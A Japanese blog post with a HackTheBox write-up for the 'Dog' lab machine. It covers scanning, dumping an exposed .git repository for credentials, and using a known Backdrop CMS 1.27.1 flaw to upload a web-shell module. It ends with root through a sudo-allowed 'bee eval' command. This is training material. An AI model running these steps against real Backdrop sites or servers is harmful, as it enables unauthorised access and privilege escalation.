2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup: Dog

Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Dogです。

Dogでは、列挙スキルやBackdropの脆弱性について学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-22 22:55 JST
Nmap scan report for 10.10.11.58
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.17 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて80番ポートにHTTPアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2025-03-22 23.00.37.png

また、ページのフッタ部分を見ると、Backdrop CMSを利用していることが分かります。

スクリーンショット 2025-03-23 19.00.52.png

引き続きBackdrop CMSにフォーカスして列挙を行います。

コンテンツ探索

gobusterを用いてコンテンツ探索を行なうと、ポートスキャンの結果と同じコンテンツが検出されました。

$ gobuster dir -u http://10.10.11.58 -w /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.58
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD            (Status: 200) [Size: 23]
/.htaccess            (Status: 403) [Size: 276]
/.hta                 (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/core                 (Status: 301) [Size: 309] [--> http://10.10.11.58/core/]
/files                (Status: 301) [Size: 310] [--> http://10.10.11.58/files/]
/index.php            (Status: 200) [Size: 13332]
/layouts              (Status: 301) [Size: 312] [--> http://10.10.11.58/layouts/]
/modules              (Status: 301) [Size: 312] [--> http://10.10.11.58/modules/]
/robots.txt           (Status: 200) [Size: 1198]
/server-status        (Status: 403) [Size: 276]
/sites                (Status: 301) [Size: 310] [--> http://10.10.11.58/sites/]
/themes               (Status: 301) [Size: 311] [--> http://10.10.11.58/themes/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

robots.txtを確認します。

スクリーンショット 2025-03-22 23.01.22.png

robots.txtよりログインページが確認できました。

スクリーンショット 2025-03-22 23.12.47.png

gitディレクトリも確認できます。

スクリーンショット 2025-03-22 23.04.38.png

git-dumper

git-dumperを実行して、ソースを取得します。

$ python3 git_dumper.py http://10.10.11.58/.git/ /tmp/git

ソースファイルをダウンロード後、settings.phpファイルよりパスワードの認証情報が確認できました。

$database = 'mysql://root:[REDACTED]@127.0.0.1/backdrop';

また、core/modules/system/system.infoなどからBackdrop CMSのバージョンは1.27.1であることが分かりました。

version = 1.27.1

脆弱性分析

searchsploitコマンドを用いて該当バージョンを検索すると、Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)のexploitが確認できます。

$ searchsploit Backdrop 1.27.1

------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                         |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)                                                                                     | php/webapps/52021.py
------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

上記exploitを利用するためには、ダッシュボードにログインが必要なため、引き続きパスワードを利用できるユーザー名を探索したところ、files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.jsonを発見しました。

{
    "_config_name": "update.settings",
    "_config_static": true,
    "update_cron": 1,
    "update_disabled_extensions": 0,
    "update_interval_days": 0,
    "update_url": "",
    "update_not_implemented_url": "https://github.com/backdrop-ops/backdropcms.org/issues/22",
    "update_max_attempts": 2,
    "update_timeout": 30,
    "update_emails": [
        "tiffany@dog.htb"
    ],
    "update_threshold": "all",
    "update_requirement_type": 0,
    "update_status": [],
    "update_projects": []
}

システムハッキング

取得した認証情報を用いてアクセスを行います。

アクセスの獲得

tiffanyユーザーと取得したパスワードを使用してダッシュボードにログインを行います。

ユーザーフラグ

画面上部の「Functionality」より「install new modules」を押します。

スクリーンショット 2025-03-23 20.58.52.png

「Manual installation」を押します。

スクリーンショット 2025-03-23 20.59.01.png

「Upload a module, theme, or layout archive to install」より用意した.tarファイルをアップロードして「INSTALL」を押します。

スクリーンショット 2025-03-23 20.59.16.png

インストールが正常終了後、以下の様な画面が表示されます。

スクリーンショット 2025-03-23 20.59.23.png

http://10.10.11.58/modules/shell/shell.phpにアクセスします。

スクリーンショット 2025-03-23 20.59.39.png

cat /etc/passwdを入力して「Excute」を押します。

スクリーンショット 2025-03-23 20.59.54.png

johncusackrユーザーと取得したパスワードを使用してSSHログインを行います。

ログイン後、ユーザーフラグが確認できます。

total 32
drwxr-xr-x 4 johncusack johncusack 4096 Mar 23 11:04 ./
drwxr-xr-x 4 root       root       4096 Aug 15  2024 ../
lrwxrwxrwx 1 root       root          9 Feb  7 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 johncusack johncusack  220 Aug 15  2024 .bash_logout
-rw-r--r-- 1 johncusack johncusack 3771 Aug 15  2024 .bashrc
drwx------ 2 johncusack johncusack 4096 Aug 16  2024 .cache/
drwxrwxr-x 3 johncusack johncusack 4096 Mar 23 11:04 .local/
lrwxrwxrwx 1 root       root          9 Feb  7 15:59 .mysql_history -> /dev/null
-rw-r--r-- 1 johncusack johncusack  807 Aug 15  2024 .profile
-rw-r----- 1 root       johncusack   33 Mar 23 10:57 user.txt

ルートフラグ

sudoの設定を確認すると、beeコマンドを使用できることが分かります。

Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

オリジナルのツールと思われますが、コマンド構文より以下の<command>が利用できると推測できます。

  eval
   ev, php-eval
   Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

以下のコマンドを実行すると、ルートに昇格できます。

$ cd /var/www/html/
$ sudo bee eval "system('/bin/bash')"

[sudo] password for johncusack:
root@dog:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)

おわりに

認証情報の列挙やCMSの脆弱性に学びがありました。

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?